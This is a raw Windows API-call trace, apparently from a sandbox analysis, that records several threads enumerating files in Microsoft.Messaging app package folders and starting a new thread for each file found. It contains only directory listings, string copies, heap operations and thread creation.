	[0078.983] FindNextFileW (in: hFindFile=0x2dad3b8, lpFindFileData=0x2dbf5f8 | out: lpFindFileData=0x2dbf5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.983] FindClose (in: hFindFile=0x2dad3b8 | out: hFindFile=0x2dad3b8) returned 1
	[0078.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbf5f8) returned 1
	[0078.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7db28) returned 1
	[0078.984] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d288) returned 1

Thread:
	id = 274
	os_tid = 0x168

	[0076.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12098
	[0076.798] wcscpy (in: _Dest=0x2e12098, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0076.798] wcscat (in: _Dest=0x2e12098, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0076.798] wcscat (in: _Dest=0x2e12098, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\*"
	[0076.798] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf860
	[0076.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\*", lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a48b6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0076.798] wcscmp (_String1=".", _String2=".") returned 0
	[0076.798] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a48b6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.798] wcscmp (_String1="..", _String2=".") returned 1
	[0076.798] wcscmp (_String1="..", _String2="..") returned 0
	[0076.798] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29a6edc8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29a6edc8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29a6edc8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1649, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.798] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.798] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.798] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d8a6d8
	[0076.798] wcscpy (in: _Dest=0x2d8a6d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0076.798] wcscat (in: _Dest=0x2d8a6d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0076.798] wcscat (in: _Dest=0x2d8a6d8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c
	[0077.058] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29a48b6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29a48b6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29a48b6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.058] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.058] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89d28
	[0077.058] wcscpy (in: _Dest=0x2d89d28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0077.058] wcscat (in: _Dest=0x2d89d28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0077.058] wcscat (in: _Dest=0x2d89d28, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50
	[0077.059] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29a6edc8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29a95021, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29a95021, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2996, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.059] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.059] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d89e20
	[0077.059] wcscpy (in: _Dest=0x2d89e20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0077.059] wcscat (in: _Dest=0x2d89e20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0077.059] wcscat (in: _Dest=0x2d89e20, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54
	[0077.060] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a95021, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9559ab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x29c3c6c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.060] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.060] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e34a88
	[0077.060] wcscpy (in: _Dest=0x2e34a88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0077.060] wcscat (in: _Dest=0x2e34a88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0077.060] wcscat (in: _Dest=0x2e34a88, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets"
	[0077.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e34a88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58
	[0077.061] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8c685e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.061] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.061] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x2e34b68
	[0077.061] wcscpy (in: _Dest=0x2e34b68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0077.061] wcscat (in: _Dest=0x2e34b68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0077.061] wcscat (in: _Dest=0x2e34b68, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e34b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c
	[0077.062] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c3c6c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29c3c6c4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29c3c6c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb38, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.062] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.062] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e34c80
	[0077.062] wcscpy (in: _Dest=0x2e34c80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0077.062] wcscat (in: _Dest=0x2e34c80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\"
	[0077.062] wcscat (in: _Dest=0x2e34c80, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri"
	[0077.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e34c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60
	[0077.063] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c3c6c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29c3c6c4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29c3c6c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb38, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.063] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0077.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbf860) returned 1
	[0077.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12098) returned 1
	[0077.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7eaf8) returned 1

Thread:
	id = 275
	os_tid = 0xec4

	[0076.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61d10
	[0076.799] wcscpy (in: _Dest=0x2d61d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0076.799] wcscat (in: _Dest=0x2d61d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0076.799] wcscat (in: _Dest=0x2d61d10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\*"
	[0076.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbfac8
	[0076.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2889e07b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad1b8
	[0078.781] wcscmp (_String1=".", _String2=".") returned 0
	[0078.781] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2889e07b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.782] wcscmp (_String1="..", _String2=".") returned 1
	[0078.782] wcscmp (_String1="..", _String2="..") returned 0
	[0078.782] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288c42d4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x288c42d4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x288c42d4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa458, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.782] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.782] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e9910
	[0078.782] wcscpy (in: _Dest=0x47e9910, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.782] wcscat (in: _Dest=0x47e9910, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.782] wcscat (in: _Dest=0x47e9910, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e9910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0078.913] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2889e07b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x288c42d4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x288c42d4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7bc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0078.913] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0078.913] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0078.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e95d0
	[0078.913] wcscpy (in: _Dest=0x47e95d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.913] wcscat (in: _Dest=0x47e95d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.913] wcscat (in: _Dest=0x47e95d0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0078.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e95d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe9c
	[0078.913] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2891078c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9bb295, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2891078c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.913] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.913] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4770870
	[0078.913] wcscpy (in: _Dest=0x4770870, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.913] wcscat (in: _Dest=0x4770870, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.914] wcscat (in: _Dest=0x4770870, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0078.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea0
	[0078.914] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288c42d4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2891078c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2891078c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.914] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.914] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9d20
